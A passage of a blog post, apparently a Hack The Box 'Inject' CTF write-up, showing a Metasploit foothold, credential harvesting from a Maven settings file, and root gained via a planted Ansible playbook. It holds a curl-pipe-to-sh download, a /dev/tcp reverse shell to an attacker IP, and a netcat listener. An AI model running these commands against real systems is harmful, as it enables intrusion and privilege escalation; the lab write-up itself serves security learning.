Path Traversal (Metasploit)                                                                                                                                                   | java\/webapps\/46772.rb\nSpring Cloud Config 2.1.x - Path Traversal (Metasploit)                                                                                                                                                   | java\/webapps\/46772.rb\nSpring Cloud Gateway 3.1.0 - Remote Code Execution (RCE)                                                                                                                                                  | java\/webapps\/50799.py\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">However, if we search in metasploit the function that already we have found we will see this exploit:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"146\" data-attachment-id=\"3106\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-14-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-14.png?fit=1100%2C201&amp;ssl=1\" data-orig-size=\"1100,201\" data-comments-opened=\"1\" data-image-title=\"Untitled-14\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-14.png?fit=800%2C146&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-14.png?resize=800%2C146&#038;ssl=1\" alt=\"\" class=\"wp-image-3106\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-14.png?w=1100&amp;ssl=1 1100w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-14.png?resize=300%2C55&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-14.png?resize=768%2C140&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">After configure this exploit, we will can exploit the vulnerability:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"151\" data-attachment-id=\"3107\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-15-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-15.png?fit=857%2C162&amp;ssl=1\" data-orig-size=\"857,162\" data-comments-opened=\"1\" data-image-title=\"Untitled-15\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-15.png?fit=800%2C151&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-15.png?resize=800%2C151&#038;ssl=1\" alt=\"\" class=\"wp-image-3107\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-15.png?w=857&amp;ssl=1 857w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-15.png?resize=300%2C57&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-15.png?resize=768%2C145&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We will check some information into our meterpreter session:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>meterpreter &gt; sysinfo\nComputer     : 10.10.11.204\nOS           : Ubuntu 20.04 (Linux 5.4.0-144-generic)\nArchitecture : x64\nBuildTuple   : x86_64-linux-musl\nMeterpreter  : x64\/linux\nmeterpreter &gt; getuid\nServer username: frank<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">No we have access to this machine through the user \u201cfrank\u201d. Let\u2019s see if we can execute one shell to search more information in this machine:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>meterpreter &gt; shell\nProcess 8848 created.\nChannel 1 created.<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we already have one shell. In this point we need to enumerate more to try to gain access to the next user because now we don\u2019t have access to reach it. We will found the next file with the \u201cphil\u201d credentials:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>pwd\n\/home\/frank\/.m2\n\nls -la\ntotal 12\ndrwx------ 2 frank frank 4096 Feb  1 18:38 .\ndrwxr-xr-x 5 frank frank 4096 Feb  1 18:38 ..\n-rw-r----- 1 root  frank  617 Jan 31 16:55 settings.xml\n\ncat settings.xml\n&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;settings xmlns=\"&lt;http:\/\/maven.apache.org\/POM\/4.0.0&gt;\" xmlns:xsi=\"&lt;http:\/\/www.w3.org\/2001\/XMLSchema-instance&gt;\"\n        xsi:schemaLocation=\"&lt;http:\/\/maven.apache.org\/POM\/4.0.0&gt; &lt;https:\/\/maven.apache.org\/xsd\/maven-4.0.0.xsd&gt;\"&gt;\n  &lt;servers&gt;\n    &lt;server&gt;\n      &lt;id&gt;Inject&lt;\/id&gt;\n      &lt;username&gt;phil&lt;\/username&gt;\n      &lt;password&gt;DocPhillovestoInject123&lt;\/password&gt;\n      &lt;privateKey&gt;${user.home}\/.ssh\/id_dsa&lt;\/privateKey&gt;\n      &lt;filePermissions&gt;660&lt;\/filePermissions&gt;\n      &lt;directoryPermissions&gt;660&lt;\/directoryPermissions&gt;\n      &lt;configuration&gt;&lt;\/configuration&gt;\n    &lt;\/server&gt;\n  &lt;\/servers&gt;\n&lt;\/settings&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, with the new information we can to check if we can approach this function to gain access with the user \u201cphil\u201d:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>su phil\nPassword: DocPhillovestoInject123<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will check our user:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>id\nuid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Go to the user home:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cd \/home\/phil\/<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Check the directory:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ls -la\ntotal 24\ndrwxr-xr-x 3 phil phil 4096 Feb  1 18:38 .\ndrwxr-xr-x 4 root root 4096 Feb  1 18:38 ..\nlrwxrwxrwx 1 root root    9 Feb  1 07:40 .bash_history -&gt; \/dev\/null\n-rw-r--r-- 1 phil phil 3771 Feb 25  2020 .bashrc\ndrwx------ 2 phil phil 4096 Feb  1 18:38 .cache\n-rw-r--r-- 1 phil phil  807 Feb 25  2020 .profile\n-rw-r----- 1 root phil   33 Jun  7 04:47 user.txt<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Finally, we can check the user flag:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat user.txt<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, in this point, we will improve our shell with python:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 -c 'import pty; pty.spawn(\"\/bin\/bash\")'<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"397\" height=\"47\" data-attachment-id=\"3108\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-16-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-16.png?fit=397%2C47&amp;ssl=1\" data-orig-size=\"397,47\" data-comments-opened=\"1\" data-image-title=\"Untitled-16\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-16.png?fit=397%2C47&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-16.png?resize=397%2C47&#038;ssl=1\" alt=\"\" class=\"wp-image-3108\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-16.png?w=397&amp;ssl=1 397w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-16.png?resize=300%2C36&amp;ssl=1 300w\" sizes=\"(max-width: 397px) 100vw, 397px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We need to enumerate more to try to gain root access. We will to turn on our web server to donwload linpeas in the machine:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo python3 -m http.server 80<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After that, we will execute linpeas in the machine:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl &lt;http:\/\/10.10.16.38\/linpeas.sh&gt; | sh<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We have discovered \u201c\/tmp\/Vodoy\u201d binary process with non \u2018root root\u2019 and not belonging to current user:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"781\" height=\"526\" data-attachment-id=\"3109\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-17-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-17.png?fit=781%2C526&amp;ssl=1\" data-orig-size=\"781,526\" data-comments-opened=\"1\" data-image-title=\"Untitled-17\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-17.png?fit=781%2C526&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-17.png?resize=781%2C526&#038;ssl=1\" alt=\"\" class=\"wp-image-3109\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-17.png?w=781&amp;ssl=1 781w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-17.png?resize=300%2C202&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-17.png?resize=768%2C517&amp;ssl=1 768w\" sizes=\"(max-width: 781px) 100vw, 781px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s enumerate more information about that with the tool \u201cpspy64\u201d:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>phil@inject:~$ wget &lt;http:\/\/10.10.16.38\/pspy64&gt;<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>phil@inject:~$ chmod +x pspy64<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>phil@inject:~$ .\/pspy64<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will found a lot of ansible processes and automation tasks. Let\u2019s see if we can execute PE through ansible:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"232\" data-attachment-id=\"3110\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-18-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-18.png?fit=1909%2C554&amp;ssl=1\" data-orig-size=\"1909,554\" data-comments-opened=\"1\" data-image-title=\"Untitled-18\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-18.png?fit=800%2C232&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-18.png?resize=800%2C232&#038;ssl=1\" alt=\"\" class=\"wp-image-3110\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-18.png?w=1909&amp;ssl=1 1909w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-18.png?resize=300%2C87&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-18.png?resize=768%2C223&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-18.png?resize=1536%2C446&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-18.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s try to do PE with ansible task (<a href=\"https:\/\/exploit-notes.hdks.org\/exploit\/linux\/privilege-escalation\/ansible-playbook-privilege-escalation\/\">https:\/\/exploit-notes.hdks.org\/exploit\/linux\/privilege-escalation\/ansible-playbook-privilege-escalation\/<\/a>). We need to go to the directory \u201c\/opt\/automation\/tasks\/\u201d because we will create new task. Now, we need to prepare our evil task. Create new file with this content:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>- hosts: localhost\n  tasks:\n    - name: RShell\n      command: sudo bash \/tmp\/root.sh<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we can download it through our machine:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>phil@inject:\/opt\/automation\/tasks$ wget &lt;http:\/\/10.10.16.38:8080\/evil.yml&gt;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"643\" height=\"275\" data-attachment-id=\"3111\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-19-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-19.png?fit=643%2C275&amp;ssl=1\" data-orig-size=\"643,275\" data-comments-opened=\"1\" data-image-title=\"Untitled-19\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-19.png?fit=643%2C275&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-19.png?resize=643%2C275&#038;ssl=1\" alt=\"\" class=\"wp-image-3111\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-19.png?w=643&amp;ssl=1 643w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-19.png?resize=300%2C128&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-19.png?resize=640%2C275&amp;ssl=1 640w\" sizes=\"(max-width: 643px) 100vw, 643px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The next step is create the file \u201c\/tmp\/root.sh\u201d with reverse shell:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo '\/bin\/bash -i &gt;&amp; \/dev\/tcp\/10.10.16.38\/4422 0&gt;&amp;1' &gt; \/tmp\/root.sh<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"31\" data-attachment-id=\"3112\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-20-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-20.png?fit=979%2C38&amp;ssl=1\" data-orig-size=\"979,38\" data-comments-opened=\"1\" data-image-title=\"Untitled-20\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-20.png?fit=800%2C31&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-20.png?resize=800%2C31&#038;ssl=1\" alt=\"\" class=\"wp-image-3112\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-20.png?w=979&amp;ssl=1 979w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-20.png?resize=300%2C12&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-20.png?resize=768%2C30&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Also don\u2019t forget to turn on our netcat server:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u2514\u2500$ sudo nc -nlvp 4422<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we can exploit the vulnerability to gain root access in the machine:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>phil@inject:\/opt\/automation\/tasks$ ansible-playbook evil.yml<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"128\" data-attachment-id=\"3113\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-21-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-21.png?fit=1902%2C304&amp;ssl=1\" data-orig-size=\"1902,304\" data-comments-opened=\"1\" data-image-title=\"Untitled-21\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-21.png?fit=800%2C128&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-21.png?resize=800%2C128&#038;ssl=1\" alt=\"\" class=\"wp-image-3113\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-21.png?w=1902&amp;ssl=1 1902w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-21.png?resize=300%2C48&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-21.png?resize=768%2C123&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-21.png?resize=1536%2C246&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-21.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we will receive the reverse shell with root permissions:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"649\" height=\"167\" data-attachment-id=\"3114\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/untitled-22-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-22.png?fit=649%2C167&amp;ssl=1\" data-orig-size=\"649,167\" data-comments-opened=\"1\" data-image-title=\"Untitled-22\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-22.png?fit=649%2C167&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-22.png?resize=649%2C167&#038;ssl=1\" alt=\"\" class=\"wp-image-3114\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-22.png?w=649&amp;ssl=1 649w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-22.png?resize=300%2C77&amp;ssl=1 300w\" sizes=\"(max-width: 649px) 100vw, 649px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now we can reach the root flag:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>root@inject:\/opt\/automation\/tasks# cd \/root\/\ncd \/root\/\n\nroot@inject:~# ls\nplaybook_1.yml\nroot.txt\n\nroot@inject:~# cat root.txt\ncat root.txt<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">That&#8217;s it for our deep-dive into &#8216;Inject,&#8217; a true masterclass in understanding and exploiting vulnerabilities in the world of Hack The Box CTF challenges. As we unpacked the twists and turns of enumeration and injection, we&#8217;ve gained vital knowledge and new skills, elevating our cybersecurity expertise. Until the next challenge, keep on hacking, keep on learning, and always explore responsibly. Stay tuned for more journeys into the thrilling world of CTF challenges!&#8221;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Keep your hacking spirit high and cybersecurity curiosity alive!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Just tackled the &#8216;Inject&#8217; machine on #HackTheBox. Loved the exploration of high ports and the challenge of the injection exploitation! If you&#8217;re into #CTF, this is a must try! \ud83d\ude80 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":3116,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"Just tackled the 'Inject' machine on #HackTheBox. Loved the exploration of high ports and the challenge of the injection exploitation! If you're into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity #PenTesting #EthicalHacking #InfoSec","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[3,7],"tags":[354,362,376,383,363,353,385,359,381,170,386,41,153,382,384],"class_list":["post-3092","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-guias","category-seguridad-informatica","tag-ctf","tag-cybersecurity","tag-enumeration","tag-ethicalhacking","tag-exploitation","tag-hackthebox","tag-highports","tag-infosec","tag-inject","tag-injection","tag-maven","tag-pentesting","tag-ssh","tag-vulnerability","tag-xml"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.9 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Hack The Box | Inject | Write Up - Hardsoft Security<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Hack The Box | Inject | Write Up - Hardsoft Security\" \/>\n<meta property=\"og:description\" content=\"Just tackled the &#8216;Inject&#8217; machine on #HackTheBox. Loved the exploration of high ports and the challenge of the injection exploitation! If you&#8217;re into #CTF, this is a must try! \ud83d\ude80 ...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/\" \/>\n<meta property=\"og:site_name\" content=\"Hardsoft Security\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/HardSoftDavid\" \/>\n<meta property=\"article:published_time\" content=\"2023-06-14T06:00:00+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1396%2C1196&ssl=1\" \/>\n\t<meta property=\"og:image:width\" content=\"1396\" \/>\n\t<meta property=\"og:image:height\" content=\"1196\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"david\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:site\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"david\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/14\\\/hack-the-box-inject-write-up\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/14\\\/hack-the-box-inject-write-up\\\/\"},\"author\":{\"name\":\"david\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"headline\":\"Hack The Box | Inject | Write Up\",\"datePublished\":\"2023-06-14T06:00:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/14\\\/hack-the-box-inject-write-up\\\/\"},\"wordCount\":873,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/14\\\/hack-the-box-inject-write-up\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/06\\\/image-15.png?fit=1396%2C1196&ssl=1\",\"keywords\":[\"CTF\",\"Cybersecurity\",\"enumeration\",\"EthicalHacking\",\"Exploitation\",\"hackthebox\",\"HighPorts\",\"InfoSec\",\"Inject\",\"injection\",\"Maven\",\"pentesting\",\"ssh\",\"Vulnerability\",\"XML\"],\"articleSection\":[\"Gu\u00edas\",\"Seguridad inform\u00e1tica\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/14\\\/hack-the-box-inject-write-up\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/14\\\/hack-the-box-inject-write-up\\\/\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/14\\\/hack-the-box-inject-write-up\\\/\",\"name\":\"Hack The Box | Inject | Write Up - Hardsoft 